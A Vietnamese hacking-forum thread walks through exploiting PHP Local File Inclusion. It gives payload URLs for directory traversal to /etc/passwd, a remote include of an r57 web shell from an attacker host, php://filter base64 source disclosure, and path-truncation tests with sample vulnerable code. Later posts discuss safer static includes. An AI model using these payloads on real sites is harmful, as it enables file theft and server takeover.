banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thông tin new bugs và exploits Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter  XML
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 02/01/2011 10:44:20 (+0700) | #1 | 228415
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter

Phương pháp nohat trình bày dưới đây không rõ là đã có ai trình bày ở VN chưa ( tìm bằng google thì chưa thấy ai thảo luận về phương pháp này ) , nohat tìm ra trong quá trình coding website, lên google tìm thử thì thấy có vẻ một số bác ở nước ngoài đã khai thác theo hướng này từ hồi đầu năm nay

Ngôn ngữ: PHP ( hướng dẫn sau chỉ áp dụng với PHP, với các ngôn ngữ khác, công cụ tương tự nohat không rõ là có hay không )

Tình huống:

Code:
<?php 
 include($_GET['page'].”.php”);
?>


PHP cấu hình với magic_quote = on

PHP cũng cấu hình không cho phép include remote file

Phương pháp kiểm tra có dính lỗi Local File Inclusion hay không ( just for newbie ):

Quan sát URL trên thanh Address có dạng

www.abc.com/index.php?page=index&var1=abc&var2=cdf

www.abc.com/index.php?page=register&var1=abc&var2=cdf

www.abc.com/index.php?page=feedback&var1=abc&var2=cdf 


chú ý phần bôi đỏ , các trang dùng để include thường có cái tên rất "gợi nhớ" như trên. Bây giờ tới bước kiểm tra lỗi:

www.abc.com/index.php?page=index'&var1=abc&var2=cdf 


ở link trên tôi "phang" thêm một dấu "nháy đơn" ( ' ) nếu nó văng ra lỗi có vẻ trông như sau

Warning: include(feedback\'.php) [function.include]: failed to open stream: No such file or directory in... 


tức là nó bị lỗi Local File Inclusion ( hoặc thậm chí Remote File Inclusion nếu server cho phép Remote File Inclusion cái này có dịp sẽ viết thành một bài khác ). Còn không, đi chỗ khác chơi smilie

Khai thác:

Với lỗi Local File Inclusion như trên thì bà con nghĩ ngay là quất một GET request

www.abc.com/index.php?page=./././././././etc/passwd%00 


hay

www.abc.com/index.php?page=www.attacker.com/r57 


Nhưng môi trường khai thác bị giới hạn lại bởi Magic_quote = on khiến cái null byte (%00) bị vô hiệu hoá, và cấm include remote file nên cái hướng khai thác thứ 2 cũng tèo luôn

Vậy để khai thác lỗi LFI trong môi trường ở trên thì ta thử cách sau:

Thêm đoạn sau vào trong request

php://filter/read=convert.base64-encode/resource=đường-dẫn-tới-file-cần-đọc 


URL sau khi thêm đoạn trên sẽ thành

www.abc.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.php 


Chú ý ở đây cần xóa bỏ đoạn .php được bôi đỏ đi vì khi URL trên được truyền vào trong PHP script sẽ thành

<?php
include(www.abc.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.”.php”);
?>  


Cách khai thác ở đây là tận dụng công cụ filter của PHP ( tham khảo phần PHP input/output http://www.php.net/manual/en/wrappers.php.php ) là php://filter (đoạn màu cam ở URL trên kia ) để đọc lấy nội dung file mà mình cần đọc, sau đó chuyển nội dung file thành dạng encoded base64 - đoạn màu vàng trong URL trên ( giúp cho việc đọc các file .php khi include vào sẽ không được thực thi mà chỉ là text thuần ). Sau khi trang php hiện ra nó sẽ include trong trang này đoạn base64 của file cần đọc, ta chỉ việc mang đoạn base64 này đi decode base64 là sẽ nhận được nội dung nguyên thủy của file cần đọc, các bước khai thác tiếp theo là tùy ý người tấn công

Việc đọc file có thể sử dụng cả đường dẫn tuyệt đối phun ra từ báo lỗi của PHP


Warning: include(conf.php.php) [function.include]: failed to open stream: operation failed in /home/htdocs/index.php on line 33 


đoạn bôi màu giúp ta nhanh chóng xác định cấu trúc thư mục nơi chứa site nhằm định ra nơi chứa file cần đọc

www.abc.com/index.php?page=php://filter/read=convert.base64-encode/resource=/home/htdocs/index.php 


Việc exploit LFI tới đây là hoàn tất, nhưng nohat thật sự không biết là có nên gọi đây là LFI hay không nữa vì nó giống exploit lỗi Local File Disclose hơn smilie

Có gì mong anh chị em góp ý thêm

Thân mến,

Nohat - HVA
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Article]   Phương pháp mới khai thác lỗi Local File Inclusion 02/01/2011 11:19:51 (+0700) | #2 | 228417
[Avatar]
WinDak
Researcher

Joined: 27/01/2002 11:15:00
Messages: 223
Offline
[Profile] [PM]
Thanks xnohat đã share một hướng rất thú vị, giờ mới biết php có cái filter như thế

Có một cách để include mà windak biết được (không nhớ rõ là đọc ở đâu) sử dụng việc đường dẫn tới file bị giới hạn bởi giá trị MAX_PATH (thường là 4096)

Nghĩa là bất cứ Path nào có độ dài hơn 4096 thì sẽ bị truncate

$file = [aa...aaa../../../../../../etc/passwd]
[ 4096 bytes ]

thì include( $file.".php" )

đoạn .php sẽ bị truncate, và ta có thể đọc được /etc/passwd (hoặc execute code bằng kĩ thuật cũ viết vào file log)



-- w~ --
[Up] [Print Copy]
  [Article]   Phương pháp mới khai thác lỗi Local File Inclusion 02/01/2011 14:46:14 (+0700) | #3 | 228426
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]

WinDak wrote:
Thanks xnohat đã share một hướng rất thú vị, giờ mới biết php có cái filter như thế

Có một cách để include mà windak biết được (không nhớ rõ là đọc ở đâu) sử dụng việc đường dẫn tới file bị giới hạn bởi giá trị MAX_PATH (thường là 4096)

Nghĩa là bất cứ Path nào có độ dài hơn 4096 thì sẽ bị truncate

$file = [aa...aaa../../../../../../etc/passwd]
[ 4096 bytes ]

thì include( $file.".php" )

đoạn .php sẽ bị truncate, và ta có thể đọc được /etc/passwd (hoặc execute code bằng kĩ thuật cũ viết vào file log)



 


Mình có thử phương pháp của WinDak thì chưa thành công, chẳng hiểu do đâu smilie

Code:
Warning: include() [function.include]: Failed opening '../../home/htdocs/conf.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.. in /home/htdocs/index.php on line 33
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Article]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 02/01/2011 18:28:39 (+0700) | #4 | 228441
[Avatar]
WinDak
Researcher

Joined: 27/01/2002 11:15:00
Messages: 223
Offline
[Profile] [PM]
Mình sử dụng php ver 5.2.1 thì vẫn làm được ở trên local, máy window 7, tuy nhiên length không phải là 4096 smilie mà là 260, có lẽ giá trị khác nhau trên các OS khác nhau

Tạo 2 file như thế này để test:

test.php
Code:
<?php
$file = $_GET['file'];
include($file.".php");
?>


as.txt
Code:
<?php
echo "success";
?>


File php.ini
Code:
error_reporting  =  E_ALL
magic_quotes_gpc = on


Code:
http://localhost:8080/test.php?file=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/../as.txt


Kết quả
Code:
Notice: include() [function.include]: X:\XXX\www/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/../as.txt.php path was truncated to 260 in X:\XXX\www\test.php on line 3
success


Có chữ success smilie
-- w~ --
[Up] [Print Copy]
  [Article]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 02/01/2011 23:06:23 (+0700) | #5 | 228460
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
Tớ có thử lại y chang theo từng bước lão đưa, thậm chí tăng sô character "a" để trim đi cái .php nhưng hình như nó chỉ có trim cái thông báo error thôi thì phải . Nó văng đến 2 cái Warning ( tớ bật Error Reporting E_ALL bằng hàm error_reporting(E_ALL) trong PHP.ini cũng cấu hình E_ALL. tớ cài XAMPP PHP 3.5.1 , Windows XP SP3

Code:
Warning: include(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/../as.txt.php) [function.include]: fai... ( Chỗ này bị cắt mất cái Error đáng nhẽ phải là Failed ) in D:\My Documents\My Data\xampp\htdocs\incl.php on line 4

Warning: include() [function.include]: Failed opening 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.. in D:\My Documents\My Data\xampp\htdocs\incl.php on line 4


Có lẽ muốn khai thác theo hướng này cần có cấu hình khác trong PHP.ini ? tớ không thấy cấu hình MAX_PATH trong php.ini smilie

file cấu hình PHP.ini của tớ ( dài quá bể frame 4rum nên up lên Google Docs )

https://docs.google.com/leaf?id=0B_bJzsmWjcfrZTUxY2ZhMTEtYzkxNi00NDlmLTkxMzItNDY1MTZiYmY4MDlm&sort=name&layout=list&num=50

Có gì giúp tớ nhé smilie
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Article]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 03/01/2011 07:50:18 (+0700) | #6 | 228470
[Avatar]
WinDak
Researcher

Joined: 27/01/2002 11:15:00
Messages: 223
Offline
[Profile] [PM]
file php.ini của lão
Code:
error_reporting = E_ALL & ~E_NOTICE & ~E_DEPRECATED


Lão thử xoá cái E_NOTICE đi, nó là cái thằng sẽ thông báo cho lão là path có truncate hay không

Một cách để tìm đúng cái số byte, là lão cho một đường link đúng vào rồi tăng cái "a" lên từ từ đến khi nào vừa đến cái ngưỡng mà nó thông báo lỗi.

Như trong ví dụ của tôi thì đầu tiên lão tạo 1 file index vớ vẩn gì đấy, rồi test :
Code:
.../test.php?file=index

==> hiển nhiên nó sẽ include thành công file "index.php" trong cùng thư mục

sau đó thêm "a" vào:
Code:
../test.php?file=aaaa...aaa/../index

Tăng nhiều nhiều đến 1 lúc nào đó, error sẽ hiện ra, vì đoạn .php phía sau hoặc cả cái đoạn index sẽ bị truncate. Lúc đó lão giảm 'a' đi từ từ (như kiểu nhị phân) đến khi nào vừa đủ <=> thêm một 'a' vào nữa thôi là sẽ bị error. Việc còn lại chỉ là thêm 4 cái 'a' vào để truncate cái ".php" rồi xxx nó etc...

smilie) Hình như google sẽ có cái tool = python làm dùm việc này, lão thử search xem


Về cái MAX_PATH hay PATH_MAX, nó là giá trị của OS ở trong một vài file header khi compile chương trình, bởi vậy muốn chỉnh chắc phải recompile php

Edit... mình vừa test thử trên version PHP 5.3.2 trên máy ubuntu 10 của mình thì không thành công
-- w~ --
[Up] [Print Copy]
  [Article]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 04/01/2011 18:17:11 (+0700) | #7 | 228621
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
Tớ vẫn thất bại một cách bí ẩn T_T , mặc dù chăm chỉ như con ong , cặm cụi gõ từng chữ "a" .

Qua một cái desk research thì chuyện này hình như chỉ xảy ra với các hệ điều hành Windows từ Windows XP

http://msdn.microsoft.com/en-us/library/aa365247.aspx#maxpath

http://www.codinghorror.com/blog/2006/11/filesystem-paths-how-long-is-too-long.html

Vậy mà một chuỗi với 152 ký tự tớ vẫn chưa truncate được cái .PHP smilie) tức không chịu nổi, có thể phiên bản PHP 5.3.2 đã xử lý vấn đề này thay cho Windows, tớ sẽ tranh thủ thử sau. Dù gì thì cũng cần xác định chính xác biên độ ứng dụng của các kỹ thuật khai thác mới mong hiểu biết tường tận về chúng được

Thanks lão đã rất tận tình thảo luận với tớ smilie
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 04/01/2011 18:32:00 (+0700) | #8 | 228623
[Avatar]
WinDak
Researcher

Joined: 27/01/2002 11:15:00
Messages: 223
Offline
[Profile] [PM]
Tớ đọc change log của PHP 5.3.0 thì thấy



Added PHP_MAXPATHLEN constant (maximum length of a path). (Pierre)
 

http://php.net/ChangeLog-5.php

Nên chắc là đã fix từ version này, xnohat thử test với version nhỏ hơn có khi mới thành công
-- w~ --
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 04/01/2011 21:33:06 (+0700) | #9 | 228643
[Avatar]
tanviet12
Member

[Minus]    0    [Plus]
Joined: 10/05/2010 12:15:15
Messages: 138
Location: TP - HCM
Offline
[Profile] [PM] [Email]
Cảm ơn anh xnohat, Bài viết rất hay. Khai thác dựa vào PHP filter hình như forum mình chưa có bài viết về cách khai thác này.
BTV
fb.com/buitanviet
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 07/01/2011 00:55:55 (+0700) | #10 | 228899
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
Hì hì cách khai thác này forum mình chưa có và forum khác cũng chưa luôn

Cập nhật thêm phần "Hướng dẫn xác định trang bị lỗi LFI" dành cho newbie đọc dễ hiểu hơn
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 07/01/2011 13:31:11 (+0700) | #11 | 228930
[Avatar]
gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa&quot;&gt;
Offline
[Profile] [PM] [ICQ]
tham khảo thêm:
http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
http://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/
http://www.php.net/manual/en/filters.convert.php
Cánh chym không mỏi
lol
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 08/01/2011 11:51:05 (+0700) | #12 | 229002
protectHat
Member

[Minus]    0    [Plus]
Joined: 09/08/2008 11:02:35
Messages: 176
Location: DMZ
Offline
[Profile] [PM]
Nếu em viết dạng
Code:
if(isset($_GET['action'])) $action = $_GET['action'];

switch ($action){
    case  "abc":
        include ("modules/abc.php");
....
    default :
        include ("index1.php");

thì có bị lỗi này hay không anh?
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 08/01/2011 13:36:11 (+0700) | #13 | 229005
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]

protectHat wrote:
Nếu em viết dạng
Code:
if(isset($_GET['action'])) $action = $_GET['action'];

switch ($action){
    case  "abc":
        include ("modules/abc.php");
....
    default :
        include ("index1.php");

thì có bị lỗi này hay không anh? 


Không em, như em viết gọi là static include, khá an toàn

Lỗi include nguy hiểm khi có tồn tại một biết bên trong hàm include()

Code:
include($URL) hay include($URL.".php")
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 27/02/2011 10:58:53 (+0700) | #14 | 232040
ACE_AnGeL
Member

[Minus]    0    [Plus]
Joined: 31/10/2010 12:03:29
Messages: 5
Offline
[Profile] [PM]
Vậy mình muốn hỏi là trong hàm Include của mình có tôn tại 1 biến Nhưng đó là biến toàn cục
Biến toàn cục đó mình đã khai bảo rồi.
Ví dụ : include(ROOT."abc/abc.php"); thì liệu có bị lỗi này ko vậy Thanks!
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 27/02/2011 19:03:05 (+0700) | #15 | 232073
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
Câu trả lời là có thể vì biến toàn cục không giúp bồ tránh việc giá trị của biến này bị modify, còn bị modify hay không còn phụ thuộc bồ khai báo biến đó ở đâu, và sau đó có điểm input nào có thể modify giá trị của biến hay không , nên có một bước kiểm tra nội dung biến "ngay trước khi" biến được sử dụng trong các hàm include
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 05/03/2011 22:41:17 (+0700) | #16 | 232486
[Avatar]
vietco21
Member

[Minus]    0    [Plus]
Joined: 25/11/2010 07:49:23
Messages: 36
Offline
[Profile] [PM]
thnaks bác xnohat nhìu?cái này thì giờ lên đây mới thấy?thấy php cũng hay
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 06/03/2011 10:54:15 (+0700) | #17 | 232504
[Avatar]
.lht.
Member

[Minus]    0    [Plus]
Joined: 26/09/2010 10:06:38
Messages: 75
Location: Inside you
Offline
[Profile] [PM]

include(www.abc.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.”.php”);
 


Ở đây thừa 1 dấu chấm smilie
Trash from trash is the place for new good things ~
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 06/03/2011 16:43:24 (+0700) | #18 | 232522
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
Không thừa đâu bồ. Đó là dấu chấm concat trong php
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 24/06/2011 09:36:43 (+0700) | #19 | 241951
[Avatar]
phanthecong
Member

[Minus]    0    [Plus]
Joined: 19/11/2008 20:02:46
Messages: 12
Location: Đồng Nai
Offline
[Profile] [PM] [WWW] [Yahoo!]
Cho em hỏi nếu kiểm tra file thế này thì có sao không

if(file_exists($a.".php")
{
include($a.".php");
}
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 24/06/2011 11:45:45 (+0700) | #20 | 241966
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]

phanthecong wrote:
Cho em hỏi nếu kiểm tra file thế này thì có sao không

if(file_exists($a.".php"smilie
{
include($a.".php"smilie;
}
 


Muốn biết kết quả thì cứ tự test thử một cái sẽ thấy ngay thôi mà smilie

Code:
<?php
$a = $_GET['a'];
if(file_exists($a.".php"))
{
include($a.".php");
}else{ 
echo "File not exist"; 
}

?>
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 24/06/2011 14:00:24 (+0700) | #21 | 241986
[Avatar]
phanthecong
Member

[Minus]    0    [Plus]
Joined: 19/11/2008 20:02:46
Messages: 12
Location: Đồng Nai
Offline
[Profile] [PM] [WWW] [Yahoo!]
Thấy "file File not exist"
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 05/09/2011 16:03:07 (+0700) | #22 | 246530
[Avatar]
micr0vnn
Member

[Minus]    0    [Plus]
Joined: 29/06/2006 15:52:34
Messages: 67
Offline
[Profile] [PM]
tránh được RFI nhưng dính LFI smilie
[Up] [Print Copy]
  [Announcement]   Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter 05/09/2011 18:37:47 (+0700) | #23 | 246535
NTMP_38313
Member

[Minus]    0    [Plus]
Joined: 26/05/2011 02:34:32
Messages: 31
Offline
[Profile] [PM]
mấy anh hay quá, có ngày em sẽ tự exploit đc 1 lỗi cho xem smilie
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|